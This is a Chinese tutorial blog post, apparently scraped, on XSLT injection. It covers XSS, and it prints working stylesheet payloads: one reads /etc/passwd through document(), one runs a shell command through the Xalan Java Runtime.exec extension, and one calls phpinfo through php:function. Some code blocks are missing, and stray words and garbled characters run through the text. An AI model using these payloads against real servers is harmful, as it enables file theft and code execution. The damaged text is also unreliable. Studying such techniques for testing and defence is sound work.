xslt注入

XSL(可扩展样式表语言)是一种用于转换XML文档的语言,XSLT表示的就是XSL转换,而XSL转换指的就是XML文档自己。转换后获得的通常都是不一样的XML文档或其余类型文档,例如HTML文档、CSV文件以及明文文本文件等等。php

通常来讲,应用程序或模板引擎在处理不一样文件类型时须要使用XSLT来进行数据转换。不少企业级应用比较喜欢使用XSLT,好比说,多用户发票应用程序可使用XSLT来容许客户自定义它们的发票,客户能够根据本身的需求来修改发票信息以及格式。html

其余常见应用:java

  • 报告功能
  • 多种格式的数据导出功能;
  • 数据打印和输出功能;
  • 电子邮件;

Talk is cheap, show me the code!下面就用php给你们演示下如何使用xsl对xml文件进行转换。apache

显示xml文件,a.xml:服务器

 

再看下evil.xsl文件:dom

 

其实我也不一样xsl,可是从上面文件不难看出,大概意思就是循环根节点fruits下的全部fruit子节点,并查询子节点中的name节点和description节点。xss

最后就是php程序里利用evil.xsl文件对a.xml文件进行转换了,代码以下:函数

 

本身写的代码,因此非常简陋。大概意思就是利用dom解析xsl和目标xml文件,而后加入到XSLTProcessor对象中进行转换。访问该php文件:ui

 

发现解析xml了,可是连在一块儿非常难受,我尝试再里面借入<br/>,发现能换行,说明被渲染了。spa

 

因而尝试在里面加入js脚本

 

 

很显然,说明xslt注入能致使xss

可是xslt注入致使的问题远不止这么点,尝试xxe漏洞读取文件,还能够换一种方式来读取文件

 

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
       <xsl:value-of select="document('/etc/passwd')">
   </xsl:value-of></xsl:template>
</xsl:stylesheet>

 

 

不过这种貌似只能读取xml文件,读取其余类型文件报错了,有点烦...

 

算了继续下面的吧,xslt处理器若是不由用,能将本机的java语言方法暴露为XSLT函数,致使任意代码执行漏洞,因为我用的是php代码,就不演示了,直接贴上代码

<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"

xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">

    <xsl:template match="/">

    <xsl:variable name="rtobject" select="rt:getRuntime()"/>

    <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>

    <xsl:variable name="processString" select="ob:toString($process)"/>

    <xsl:value-of select="$processString"/>

    </xsl:template>

    </xsl:stylesheet>

 

 

上面说了这么多都是在xsl彻底受咱们控制的状况下,也就是说咱们能够上传xsl文件。但不少时候咱们只能控制xsl文件的部份内容(这里说的xsl文件并不必定是指.xsl后缀的文件,目前了解的状况下好像任意后缀均可以,只要格式是对的就行)。一个易受攻击的应用可能会使用不可信的用户输入动态地生成 XSLT 文档。例如,该应用可能会生成某个 XSLT 文档里面部分字符串是不可信的用户输入。能够参考文章https://bbs.pediy.com/thread-222921.htm 

为了验证该应用是不是易受攻击的,咱们一般会插入一些会致使 XML 文件语法错误的字符,例如双引号、单引号和尖括号{", ', <, >}。若是服务器会返回错误,那么这个应用就有多是易受攻击的。通常而言,这种定位技术与定位 XML 注入漏洞的技术相似。

 <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <body>
        <xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
        <xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
    </body>
</html>

 

 

php

<?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:value-of name="bugbounty" select="php:function('phpinfo')"/> </body> </html>
相关文章
相关标签/搜索